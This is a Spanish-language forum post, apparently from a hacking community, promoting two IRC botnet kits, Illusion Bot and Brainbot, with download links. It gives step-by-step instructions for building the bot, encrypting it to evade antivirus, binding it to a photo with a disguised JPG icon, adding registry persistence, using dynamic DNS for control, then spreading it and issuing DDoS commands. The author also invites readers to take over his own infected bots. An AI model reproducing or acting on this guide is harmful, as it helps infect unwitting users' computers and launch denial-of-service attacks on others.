BOT/BOTNETS/IRC

El Illusion es otro bot proveniente de Rusia, se caracteriza por sus multiples comandos para ataques de denegacion de servicio y por la capacidad de ser controlado por web y por irc (soporta 2 servidores web y 2 servidores IRC).
El bot hoy en dia es algo antiguo, por lo que al bot puro lo detectan hasta los ciegos, pero todavía sigue funcionando muy bien, es muy estable, y fácil de encriptar.

Características principales:
» Puede ser controlado por IRC y por HTTP
» Proxy functionality (Socks4, Socks5)
» FTP service
» MD5 support for passwords
» Rootkit
» Code injection
» Colored IRC messages
» XP SP2 Firewall bypass
» DDOS capabilities

Su configuracion es muy simple, solo abrimos el Build.exe, damos click en edit binary y seleccionamos nuestro BOTBINARY.exe, que viene en la descarga.
Después lo configuramos con algun servidor irc y canal cualquiera, cambian la pass del bot, y dejan todo como esta si no saben para que es.
Eso es todo, ya tienen su BOTBINARY listo para encriptar y comenzar a propagarlo, en mi caso yo lo encripte con el AC crypter y funciono perfecto, lo pueden ver en la imagen siguiente.



Para controlar nuestra botnet entramos al MIRC u otro cliente IRC, agregamos el server y canal que pusimos cuando creamos el server y luego ingresamos, se podran ver todos los bot como en la imagen anterior y desde ahi podemos controlarlos.
Se pone siempre un ! antes del comando, y al prinsipio deben loguearse con el comando login (!login botpass) para que los bot le obedescan.
Pueden ver todos los comandos aqui y el video de root3d aqui para guiarse un poco en lo que es control de una botnet.

Descarga:
illusion Bot V1.1
illusion Bot V1.1

(No pude analizar completamente si los archivos estan desinfectados, de todas formas yo lo abri en mi pc y no me paso nada todavia XD)

Comandos:
Comandos illusion Bot V1.1

Si se fijan bien en la 2º imagen y parte de la 1º, tienen todos los datos para entrar a esa mini botnet mia, el que quiera los bot que se los lleve, no tengo problema.

A pedido de los usuarios posteo este bot, es muy facil de configurar y es bastante estable, es con el bot que yo empese.
Una de sus mejores caracteristicas es su propia propagacion, tiene propagacion por p2p, irc, lan, y sql.
Incluye un binder, un compresor upx, posibildad de cambiar el icono y metodos de inicio.

Explico un poco como se configura:

Irc server:Aqui colocamos la direccion del servidor irc que utilizemos, recomiendo utilizar una cuenta no-ip o cdmon que redireccione al servidor para no perder los bot por si cierran el servidor o los banean, generalmente los banean muy rapido si tienen muchos bots, pueden buscar servidores irc en google.

Irc port: El puerto del servidor irc, generalmente 6667

Channel: Pongan el canal donde se conectaran los bot, por ejemplo #botnet

Fixed name: Los nick que tendran los bot cuando se conecten al servidor, por ejemplo Bot-

Masternick:
Esto es importante, es el nick que usaran ustedes para conectarse, es el que deben seleccionar en el cliente irc, si no se conectan con ese nick los bot no les daran bola. Ej: mauro892

Password: Su pasword para conectarse, es el que usaran para conectarse cuando introduscan el comando !login. Ej: 123465

Bind file: Seleccionamos el archivo con el que queremos juntar el bot, por ejemplo una foto.

Change icon: Seleccionamos el icono del bot, por ejemplo el de una imagen jpg

Upx: Marcamos para comprimir el bot

Startup: Introduciomos un nombre para una clave de registro (por ejemplo winr32), y el nombre del ejecutable para instalar en la carpeta de win (ej bootload)

Eso es todo lo basico para que el server funcione, ahora le damos build y a infectar, Despues explicare los metodos de spread para que el bot se propague.

Para ver los comandos del bot introducen !commands, en el cliente irc.
Tambien pueden leer el readme del archivo para ver las caracteristicas del bot, y para ver mas detalladamente como se introducen los comandos.
si tienen alguna duda con respecto a los comandos lo comentan aca y les contesto.

Descarga:
Brainbot V1.5 (megaupload)
Brainbot V1.5 (rapidshare)
Brainbot v1.5 (trojanfrance, sin dependencias)